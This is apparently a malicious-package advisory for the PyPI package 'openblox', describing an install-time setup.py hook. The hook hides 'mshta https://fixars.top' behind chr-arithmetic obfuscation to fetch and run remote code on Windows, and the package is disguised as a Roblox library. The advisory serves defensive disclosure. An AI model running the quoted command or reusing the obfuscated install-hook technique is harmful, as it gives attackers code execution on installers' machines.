openblox

Details

**Severity:** Critical

**Affected versions:** `= 1.0.1`

## Source: amazon-inspector (cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201)
setup.py invokes GetGitCommitHash() unconditionally at module top level, so it runs on `pip install openblox` (and any setuptools invocation). On Windows the function builds its command via two helpers (GetDefaultSystemPolicy, CalculateNodeDrift) that reconstruct strings from integer arrays using chr(byte + 14); the arrays decode to `mshta` and `https://fixars.top`. The resulting command is passed to subprocess.check_output with shell=True, causing Windows installers to launch `mshta https://fixars.top` — the mshta.exe Living-Off-The-Land binary downloads and executes remote HTA/JScript, giving the operator arbitrary code execution on the installer's machine. The obfuscation (chr-arithmetic with helper functions falsely named for hardware/latency diagnostics) exists solely to hide the URL and binary name from static scanners. The package additionally exhibits a cover-story shape: it is published under the name `openblox` with a Roblox-themed description, but the actual code is an unrelated `sqligen` SQLite utility, with placeholder author metadata (John / [email protected] / github.com/john/sqligen). The Roblox-library name appears chosen to attract installs intended for the legitimate openblox API library.

## Source: kam193 (a8567ce5afa387ad85e22cb7c9144f18e816ae0912f109d7a8afec0dbc1d2b6d)
During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-06-easyaillm


Reasons (based on the campaign):


 - Downloads and executes a remote executable.


 - obfuscation


 - malware


 - tool:mshta

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/openblox/MAL-2026-6504.json))

**References:**
- https://bad-packages.kam193.eu/pypi/package/openblox
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/openblox/MAL-2026-6504.json
- https://pypi.org/project/openblox/1.0.0
- https://pypi.org/project/openblox/1.0.1
- https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25
- https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection
- https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection
- https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129

Compromised versions (1)

• = 1.0.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.